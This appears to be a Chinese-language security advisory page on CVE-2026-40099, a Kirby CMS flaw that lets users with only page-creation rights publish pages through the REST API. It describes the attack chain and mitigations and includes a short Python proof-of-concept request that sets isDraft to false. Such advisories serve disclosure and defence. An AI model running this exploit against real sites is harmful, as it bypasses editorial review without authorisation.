IPBUF安全漏洞报告
English
CVE-2026-40099 CVSS 6.5 中危

CVE-2026-40099 Kirby CMS 权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-40099
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kirby CMS

相关标签

权限绕过Kirby CMS逻辑漏洞REST API

漏洞概述

Kirby CMS 是一个开源的内容管理系统。在受影响版本中,由于权限校验逻辑存在缺陷,系统未正确区分页面创建与状态变更的权限。攻击者利用 REST API 创建页面时,可绕过默认的草稿状态限制,直接发布页面。这导致拥有 `pages.create` 权限但无 `pages.changeStatus` 权限的认证用户,可绕过编辑工作流直接发布内容,破坏了系统的完整性控制。

技术细节

该漏洞的核心在于 Kirby CMS 的权限隔离机制失效。在受影响版本中,针对页面创建(`pages.create`)和状态变更(`pages.changeStatus`)的权限检查是独立进行的。当通过 REST API 创建页面时,系统并未将这两个权限关联起来审查。具体而言,API 端点在处理请求时,虽然验证了用户具备创建页面的资格,但忽略了对请求体中 `isDraft` 状态字段的权限校验。攻击者利用这一逻辑漏洞,在请求体中直接将状态参数置为已发布,从而欺骗服务器。由于服务器未在创建操作中复用状态变更的权限逻辑,导致攻击者成功绕过了原本旨在控制内容发布流程的 `pages.changeStatus` 权限限制,造成了权限提升。

攻击链分析

STEP 1
步骤1
攻击者获取一个具有 `pages.create` 权限的 Kirby CMS 低权限账户。
STEP 2
步骤2
攻击者向 Kirby 的 REST API 端点发送构造的 HTTP POST 请求以创建新页面。
STEP 3
步骤3
在请求的 JSON 载荷中,攻击者显式设置 `isDraft` 参数为 `false` (或等效的已发布状态)。
STEP 4
步骤4
服务器端接收请求,仅校验用户是否拥有 `pages.create` 权限,未检查 `pages.changeStatus` 权限。
STEP 5
步骤5
服务器直接创建已发布的页面,攻击者成功绕过正常的编辑审核工作流。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Kirby CMS Permission Bypass via REST API # Date: 2026-04-24 # CVE: CVE-2026-40099 target_url = "https://target-kirby-site.com/api/pages" # Attacker needs a valid session/token with 'pages.create' permission headers = { "Authorization": "Bearer <valid_token>", "Content-Type": "application/json" } # Payload overrides the default draft behavior payload = { "title": "Malicious Published Page", "slug": "malicious-page", "template": "default", "content": {"text": "This content is published without review."}, "isDraft": False # Bypassing the changeStatus permission } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability exploited! Page created as published.") print("[+] Response:", response.json()) else: print("[-] Request failed.")

影响范围

Kirby < 4.9.0
Kirby < 5.4.0

防御指南

临时缓解措施
在未升级的情况下,建议暂时限制对 REST API 的访问,或通过 Web 应用防火墙(WAF)规则拦截包含 `isDraft=false` 参数的页面创建请求,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表